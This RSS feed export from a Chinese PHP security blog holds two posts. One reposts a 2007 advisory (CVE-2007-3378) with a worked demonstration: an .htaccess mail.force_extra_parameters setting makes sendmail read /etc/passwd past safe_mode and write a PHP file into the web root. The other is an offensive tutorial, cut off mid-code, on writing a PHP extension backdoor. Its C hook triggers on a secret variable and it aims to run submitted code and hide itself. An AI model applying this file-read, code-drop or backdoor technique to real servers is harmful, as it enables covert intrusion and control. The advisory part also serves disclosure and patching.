﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>PHP博客-GaRY's Blog-随笔分类-PHP core</title><link>http://www.phpweblog.net/GaRY/category/83.html</link><description>Beginning is always beautiful</description><language>zh-cn</language><lastBuildDate>Mon, 26 Nov 2007 05:41:21 GMT</lastBuildDate><pubDate>Mon, 26 Nov 2007 05:41:21 GMT</pubDate><ttl>60</ttl><item><title>[zt]PHP 5.2.4 mail.force_extra_parameters unsecure</title><link>http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Mon, 26 Nov 2007 04:03:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/2392.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/2392.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/2392.html</trackback:ping><description><![CDATA[又一个bypass safemode,有趣的是这次用的是.htaccess.因此,只要此文件可写,或者可写的web目录下没有此文件,就可以利用.<br>ps:通过mail.force_extra_parameters,还真像当年的mail函数bypass safemode漏洞.<br><br><br>&nbsp; Topic : 			<strong>PHP 5.2.4 mail.force_extra_parameters unsecure</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Security<font color="red">A</font>lert : 			<strong>47</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;CVE : 			<strong><a  href="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3378"><font color="#0033ff">CVE-2007-3378</font></a></strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;SecurityRisk : 			<strong>Medium</strong>&nbsp;&nbsp;<img  src="http://securityreason.com/gfx/alert/mini-medium.gif" alt="alert"><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Remote Exploit : 			<strong>No</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Local Exploit : 			<strong>Yes</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Exploit Given : 			<strong>Yes</strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Credit : 			<strong><font color="green">Maksymilian Arciemowicz</font></strong><br>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Date : 			<strong>25.11.2007</strong><br>
<div align="justify">
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Affected Software : 			<strong>PHP &lt;= 5.2.4</strong><br><br></div>
<img  src="http://securityreason.com/gfx/arrow.png" border="0" height="5" width="4">&nbsp;&nbsp;Advisory Text :&nbsp;&nbsp;<br>
<br>
-----BEGIN PGP SIGNED MESSAGE-----<br>
Hash: SHA1<br>
<br>
[PHP 5.2.4 mail.force_extra_parameters unsecure ]<br>
<br>
Author: Maksymilian Arciemowicz (cXIb8O3)<br>
SecurityReason<br>
Date:<br>
- - Written: 06.09.2007<br>
- - Public: 0x.0x.2007<br>
<br>
SecurityReason Research<br>
SecurityAlert Id: 47<br>
<br>
CVE: CVE-2007-3378<br>
SecurityRisk: Medium<br>
<br>
Affected Software: PHP &lt;= 5.2.4<br>
Advisory URL:<br>
http://securityreason.com/achievement_securityalert/47<br>
Vendor: http://www.php.net<br>
<br>
- --- 0.Description ---<br>
<br>
PHP is an HTML-embedded scripting language. Much of its syntax is<br>
borrowed from C, Java and Perl with a couple of unique<br>
PHP-specific features thrown in. The goal of the language is to<br>
allow web developers to write dynamically generated pages<br>
quickly.<br>
When using PHP as an Apache module, you can also change the<br>
configuration settings using directives in Apache configuration<br>
files (e.g. httpd.conf) and .htaccess files. You will need<br>
"AllowOverride Options" or "AllowOverride<br>
All" privileges to do so.<br>
<br>
php_value name value<br>
<br>
Sets the value of the specified directive. Can be used only with<br>
PHP_INI_ALL and PHP_INI_PERDIR type directives. To clear a<br>
previously set value use none as the value.<br>
Note: Don't use php_value to set boolean values. php_flag (see<br>
below) should be used instead.<br>
<br>
php_flag name on|off<br>
<br>
Used to set a boolean configuration directive. Can be used only<br>
with PHP_INI_ALL and PHP_INI_PERDIR type directives.<br>
<br>
mail.force_extra_parameters - Force the addition of the specified<br>
parameters to be passed as extra parameters to the sendmail<br>
binary. These parameters will always replace the value of the 5th<br>
parameter to mail(), even in safe mode<br>
<br>
http://pl.php.net/manual/en/configuration.changes.php<br>
<br>
- --- 1. htaccess safemode and open_basedir Bypass Vulnerability<br>
per mail.force_extra_parameters ---<br>
<br>
We have recrived a lot of question about news<br>
http://securityreason.com/news/0/0x1f . And we will show How to<br>
exploit this issue. When using PHP as an Apache module, you can<br>
also change the configuration settings using directives in<br>
.htaccess file. But it is possible to bypass a safe_mode or<br>
open_basedir per mail.force_extra_parameters. In a lot of servers<br>
is sendmail, can be also exim etc. But we show how to exploit<br>
this for a famous mail server (SENDMAIL).<br>
<br>
For example you can set mail.force_extra_parameters via<br>
.htaccess.<br>
<br>
cxib# curl -I http://localhost:82<br>
HTTP/1.1 200 OK<br>
Date: Thu, 06 Sep 2007 22:18:35 GMT<br>
Server: Apache/2.2.4 (FreeBSD) mod_ssl/2.2.4 OpenSSL/0.9.7e-p1<br>
DAV/2 PHP/5.2.4<br>
Last-Modified: Sat, 20 Nov 2004 20:16:24 GMT<br>
ETag: "27e4f0-2c-4c23b600"<br>
Accept-Ranges: bytes<br>
Content-Length: 44<br>
Content-Type: text/html<br>
<br>
Apache 2.2.4 and PHP 5.2.4. Let's see folder<br>
"/narkotyk" in localhost:82.<br>
<br>
cxib# ls -la<br>
total 10<br>
drwxrwxrwx 2 www www 512 Sep 7 00:26 .<br>
drwxr-xr-x 4 www wheel 512 Sep 7 00:22 ..<br>
- -rw-r--r-- 1 www www 106 Sep 7 00:25 .htaccess<br>
- -rw-r--r-- 1 www www 29 Sep 7 00:25 file1.php<br>
- -rw-r--r-- 1 www www 56 Sep 7 00:26 file2.php<br>
cxib# cat file1.php<br>
&lt;? include("/etc/passwd"); ?&gt;<br>
<br>
cxib# curl http://localhost:82/narkotyk/file1.php<br>
&lt;br /&gt;<br>
&lt;b&gt;Warning&lt;/b&gt;: include() [&lt;a<br>
href='function.include'&gt;function.include&lt;/a&gt;]: SAFE MODE<br>
Restriction in effect. The script whose uid is 80 is not allowed<br>
to access /etc/passwd owned by uid 0 in<br>
&lt;b&gt;/usr/local/www/apache22/data/narkotyk/file1.php&lt;/b&gt;<br>
; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;<br>
&lt;br /&gt;<br>
&lt;b&gt;Warning&lt;/b&gt;: include(/etc/passwd) [&lt;a<br>
href='function.include'&gt;function.include&lt;/a&gt;]: failed to<br>
open stream: Invalid argument in<br>
&lt;b&gt;/usr/local/www/apache22/data/narkotyk/file1.php&lt;/b&gt;<br>
; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;<br>
&lt;br /&gt;<br>
&lt;b&gt;Warning&lt;/b&gt;: include() [&lt;a<br>
href='function.include'&gt;function.include&lt;/a&gt;]: Failed<br>
opening '/etc/passwd' for inclusion (include_path='.:') in<br>
&lt;b&gt;/usr/local/www/apache22/data/narkotyk/file1.php&lt;/b&gt;<br>
; on line &lt;b&gt;1&lt;/b&gt;&lt;br /&gt;<br>
<br>
so safe_mode is open.<br>
Let's see files .htaccess and file2.php<br>
<br>
cxib# cat file2.php<br>
&lt;? var_dump(mail("root@localhost",<br>
"hallo", "root")); ?&gt;<br>
cxib# cat .htaccess<br>
php_value mail.force_extra_parameters '-C /etc/passwd -X<br>
/usr/local/www/apache22/data/narkotyk/result.txt'<br>
<br>
and let's send request to file2.php<br>
<br>
cxib# curl http://localhost:82/narkotyk/file2.php<br>
bool(false)<br>
<br>
False!? No <br>
<br>
cxib# ls -la /usr/local/www/apache22/data/narkotyk/result.txt<br>
- -rw-r--r-- 1 www www 7130 Sep 7 00:31<br>
/usr/local/www/apache22/data/narkotyk/result.txt<br>
cxib#<br>
<br>
result.txt has been created.<br>
<br>
cxib# cat /usr/local/www/apache22/data/narkotyk/result.txt<br>
69647 &gt;&gt;&gt; /etc/passwd: line 3: unknown configuration<br>
line "root:*:0:0:Charlie &amp;:/root:/bin/csh"<br>
69647 &gt;&gt;&gt; /etc/passwd: line 4: unknown configuration<br>
line "toor:*:0:0:Bourne-again Superuser:/root:"<br>
..... etc.<br>
<br>
We can read file and safe_mode and open_basedir is bypassed.<br>
<br>
It is possible create file with php code. But we need have<br>
sendmail.cf to send email.<br>
<br>
Example:<br>
<br>
cxib# cat .htaccess<br>
php_value mail.force_extra_parameters '-C<br>
/usr/local/www/apache22/data/narkotyk/sendmail.cf -X<br>
/usr/local/www/apache22/data/narkotyk/phpcode.php'<br>
cxib# cat file3.php<br>
&lt;? var_dump(mail("root@xxxxxxxxxxxxxxxxxx",<br>
"h&lt;? phpinfo(); ?&gt;allo", "root"));<br>
?&gt;<br>
<br>
We need create /usr/local/www/apache22/data/narkotyk/sendmail.cf<br>
and configure this file. Then<br>
<br>
cxib# curl http://localhost:82/narkotyk/file3.php<br>
bool(true)<br>
cxib#<br>
cxib# cat phpcode.php<br>
69755 &lt;&lt;&lt; To: root@xxxxxxxxxxxxxxxxxx<br>
69755 &lt;&lt;&lt; Subject: h&lt;? phpinfo(); ?&gt;allo<br>
69755 &lt;&lt;&lt;<br>
69755 &lt;&lt;&lt; root<br>
69755 &lt;&lt;&lt; [EOF]<br>
69757 === CONNECT securityreason.pl<br>
... etc<br>
<br>
and now<br>
<br>
cxib# curl http://localhost:82/narkotyk/phpcode.php<br>
69755 &lt;&lt;&lt; To: root@xxxxxxxxxxxxxxxxxx<br>
69755 &lt;&lt;&lt; Subject: h&lt;!DOCTYPE html PUBLIC<br>
"-//W3C//DTD XHTML 1.0 Transitional//EN"<br>
"DTD/xhtml1-transitional.dtd"&gt;<br>
&lt;html&gt;&lt;head&gt;<br>
&lt;style type="text/css"&gt;<br>
body {background-color: #ffffff; color: #000000;}<br>
body, td, th, h1, h2 {font-family: sans-serif;}<br>
... phpinfo().<br>
<br>
This was example for php 5.2.4 with sendmail. But we think, it is<br>
possible exploit exim and more send mail programs. In PHP 5.2.4<br>
mail.force_extra_parameters is filtered per<br>
php_escape_shell_cmd(). But we needn't bypass this function.<br>
<br>
- --- mail.c ---<br>
if (force_extra_parameters) {<br>
extra_cmd = php_escape_shell_cmd(force_extra_parameters);<br>
} else if (extra_cmd) {<br>
extra_cmd = php_escape_shell_cmd(extra_cmd);<br>
}<br>
- --- mail.c ---<br>
<br>
Interesting is:<br>
<br>
- --- mail.c ---<br>
if (PG(safe_mode) &amp;&amp; (ZEND_NUM_ARGS() == 5)) {<br>
php_error_docref(NULL TSRMLS_CC, E_WARNING, "SAFE MODE<br>
Restriction in effect. The fifth parameter is disabled in SAFE<br>
MODE.");<br>
RETURN_FALSE;<br>
}<br>
- --- mail.c ---<br>
<br>
5 th parameter in mail() function is checked.<br>
mail.force_extra_parameters no.<br>
<br>
Before public advisory we tested issue and we send advisory to<br>
PHP Team. Main problem is that, we do not recived any answer. <br>
We do not checked patch to CVE-2007-3378 (SREASONRES:20070627),<br>
but we are using CVE-2007-3378 to identification .<br>
<br>
http://securityreason.com/achievement_securityalert/47<br>
<br>
php_escape_shell_cmd() is not reason for CVE-2007-3378.<br>
<br>
- --- 2. Exploit ---<br>
SecurityReason will not public official exploit for this issue.<br>
<br>
Anybody can self exploit this.<br>
<br>
- --- 3. How to fix ---<br>
<br>
- --- note from SREASONRES:20070627 ---<br>
This bug has been founded on February 2007<br>
We contacted with PHP Team again.<br>
With co-operation Stanislav Malyshev from PHP Team the PHP 5.2.5<br>
is now fully patched against<br>
"mail.force_extra_parameters" issue . <br>
- --- note from SREASONRES:20070627 ---<br>
<br>
Update to PHP5.2.5<br>
<br>
- --- 4. Greets ---<br>
<br>
For: sp3x, Infospec, p_e_a, l5x and Stefan Esser<br>
<br>
- --- 5. Contact ---<br>
<br>
Author: SecurityReason [ Maksymilian Arciemowicz ( cXIb8O3 ) ]<br>
Email: cxib [at] securityreason [dot] com<br>
GPG: http://securityreason.pl/key/Arciemowicz.Maksymilian.gpg<br>
http://securityreason.com<br>
http://securityreason.pl<br>
-----BEGIN PGP SIGNATURE-----<br>
Version: GnuPG v1.4.5 (FreeBSD)<br>
<br>
iD8DBQFHSZ1w3Ke13X/fTO4RAnKnAJ0drPZhrdtiheaR9b8mLZ0IjyJoIQCfZC3A<br>
jn8i1L2eCHVS1jBuN24ySc0=<br>
=ZCW0<br>
-----END PGP SIGNATURE-----<br><img src ="http://www.phpweblog.net/GaRY/aggbug/2392.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-11-26 12:03 <a href="http://www.phpweblog.net/GaRY/archive/2007/11/26/2392.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Developing A PHP Core Backdoor</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Wed, 23 May 2007 12:01:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1242.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/23/Developing_A_PHP_Core_Backdoor.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1242.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1242.html</trackback:ping><description><![CDATA[<p>Author: wofeiwo/GaRY&nbsp; &lt;wofeiwo_at_gmail_dot_com&gt;</p>
<p><br>目录</p>
<p>1)前言<br>2)优缺点<br>3)设计<br>4)功能实现<br>5)参考文档<br>6)一些说明</p>
<p><br>1)前言</p>
<p>PHP是一个非常流行的web server端的script语言.目前很多web应用程序都基于php语言实现.由于php是个开源软件并易于扩展,所以我们可以通过编写一个PHP模块(module 或者叫扩展 extension)来实现一个Backdoor.而且php支持使用dl函数动态加载模块的技术,这种类似linux等系统上的LKM机制让我们的Backdoor可以更轻松的加载.本文就简单介绍下修改PHP内核的Backdoor的实现.</p>
<p>2)优缺点</p>
<p>优点:</p>
<p>1. 众所周知,PHP是一个跨平台的脚本语言,所以php Backdoor也可以很方便得跨平台.当然这必须要求你尽量使用C库或者使用php内核中提供的API来编写代码.而尽量少用系统API.不过这总比ring0下的Backdoor什么都要自己实现要好.<br>2. 由于PHP与客户端的通讯是通过http协议实现的.所以也不用担心端口隐藏,进程隐藏等问题.<br>3. 加载方便.你可以通过设置php.ini或者使用dl函数来加载你的Backdoor.或者,如果你愿意的话你可以把Backdoor编译到php里去.<br>4. 配合webshell使用,用Backdoor配置php环境,让webshell突破disable fuction,safe_mode,open_basedir等限制.</p>
<p>缺点:</p>
<p>1. 权限低.Backdoor的权限完全取决于web server程序的权限.必须与其他工具配合使用以得到高权限.<br>2. 基于php,只是一个ring3下的Backdoor,所以不能太底层,很多功能都受到限制.</p>
<p>3)设计:</p>
<p>我们这里做为一个例子,设计了个简单的php Backdoor,它主要实现了几个功能:</p>
<p>1. 通过过滤用户提交的特定变量来启动Backdoor.<br>2. 修改php环境变量.为webshell提供宽松的执行环境.<br>3. 直接执行用户提交的php代码.<br>4. 隐藏自身.</p>
<p>4)功能实现</p>
<p>前置知识:<br>要编写php Backdoor,必须先了解php module的编写技术.这个内容超出本文的范围,读者可以看下本文最后列出的参考文档.并且最好先查看以下文件以熟悉php内核的API.</p>
<p>php-src/main/php.h, 位于PHP 主目录。这个文件包含了绝大部分 PHP 宏及 API 定义。<br>php-src/Zend/zend.h, 位于 Zend 主目录。这个文件包含了绝大部分 Zend 宏及 API 定义。 <br>php-src/Zend/zend_API.h, 也位于 Zend 主目录，包含了Zend API 的定义。</p>
<p>以下的结构体,定义了一个PHP Backdoor模块的基本信息:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">zend_module_entry&nbsp;wfw_module_entry&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;STANDARD_MODULE_HEADER</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">wfw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块名</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;wfw_functions</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">导出函数结构体</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_MINIT(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块初始化</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_MSHUTDOWN(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块清理</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_RINIT(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">运行时初始化</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_RSHUTDOWN(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">运行时清理</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;PHP_MINFO(wfw)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">处理phpinfo中的模块信息</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">0.1</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">模块版本</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;STANDARD_MODULE_PROPERTIES<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>};</span></div>
<p><br>在php生命周期中,ZendEngine首先要初始化module,每个module中定义的PHP_MINIT_FUNCTION函数作为初始化代码(ModuleInit)都会被执行一次,而PHP_RINIT_FUNCTION函数则是在每次页面被请求的时候(RuntimeInit)都会执行一次.因此对php函数的hook,设置php环境变量,对user input的过滤,都可以根据需要在这两个函数中进行.然后在PHP_MSHUTDOWN_FUNCTION和PHP_RSHUTDOWN_FUNCTION中进行相应的清理.而作为Backdoor,PHP_MINFO_FUNCTION函数对我们则没什么必要,可以把这里设置为NULL.</p>
<p>当然会了php api还不够,再配合各系统上提供的api,并通过宏定义区分以跨平台.一个backdoor是很容易编出来的.在本文中我不会直接说明每个功能的实现,这些在所有ring3后门中都大同小异.我只说明些在PHP core环境下需要注意的部分.<br>&nbsp;<br>过滤变量:<br>要过滤web server传递过来的变量,这有两种办法,一种是通过修改SAPI的input_filter,或者是treat_data.你可以是hook后再执行php的原始代码,也可以直接替换原始函数:</p>
<p>&nbsp;</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #008000">//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//函数原型如下:<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//unsigned&nbsp;int&nbsp;input_filter(int&nbsp;arg,&nbsp;char&nbsp;*var,&nbsp;char&nbsp;**val,&nbsp;unsigned&nbsp;int&nbsp;val_len,&nbsp;unsigned&nbsp;int&nbsp;*new_val_len&nbsp;TSRMLS_DC)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//arg可以是PARSE_POST,PARSE_GET,PARSE_COOKIE,PARSE_STRING,PARSE_ENV等值,表示此变量是通过什么方式传递进来的.<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//var,val分别是变量名和变量值<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>//</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">SAPI_API&nbsp;SAPI_INPUT_FILTER_FUNC(wfw_input_filter)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(new_val_len)&nbsp;</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">new_val_len&nbsp;</span><span style="COLOR: #000000">=</span><span style="COLOR: #000000">&nbsp;val_len;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">//////////////////////////////////////////////////////<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;//以上是原php中处理的代码,下面则是我添加的.</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">//////////////////////////////////////////////////////</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(</span><span style="COLOR: #0000ff">var</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">pw</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">||</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strcmp</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">*</span><span style="COLOR: #000000">val</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">password</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)&nbsp;</span><span style="COLOR: #000000">==</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">0</span><span style="COLOR: #000000">)<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;dosomething();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">//////////////////////////////////////////////////////</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;SUCESS;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>void&nbsp;wfw_hook_input_filter()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;sapi_register_input_filter(wfw_input_filter);&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">注册为input_filter</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">}<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span></div>
<p>另外一种是直接从php内建的数组里获取变量:</p>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">int&nbsp;find_var()<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;zval&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">data;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;TSRMLS_FETCH();<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;</span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">查找_GET数组</span><span style="COLOR: #008000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #0000ff">if</span><span style="COLOR: #000000">(SUCCESS&nbsp;</span><span style="COLOR: #000000">!=</span><span style="COLOR: #000000">&nbsp;zend_symtable_find(</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #000000">EG(symbol_table)</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">_GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;</span><span style="COLOR: #008080">strlen</span><span style="COLOR: #000000">(</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">_GET</span><span style="COLOR: #000000">"</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">+</span><span style="COLOR: #000000">1</span><span style="COLOR: #000000">,</span><span style="COLOR: #000000">&nbsp;(void&nbsp;</span><span style="COLOR: #000000">**</span><span style="COLOR: #000000">)</span><span style="COLOR: #000000">&amp;</span><span style="COLOR: #0000ff">array</span><span style="COLOR: #000000">))<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;{<br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>&nbsp;&nbsp;</span><span style="COLOR: #0000ff">return</span><span style="COLOR: #000000">&nbsp;FAILURE;<br><img 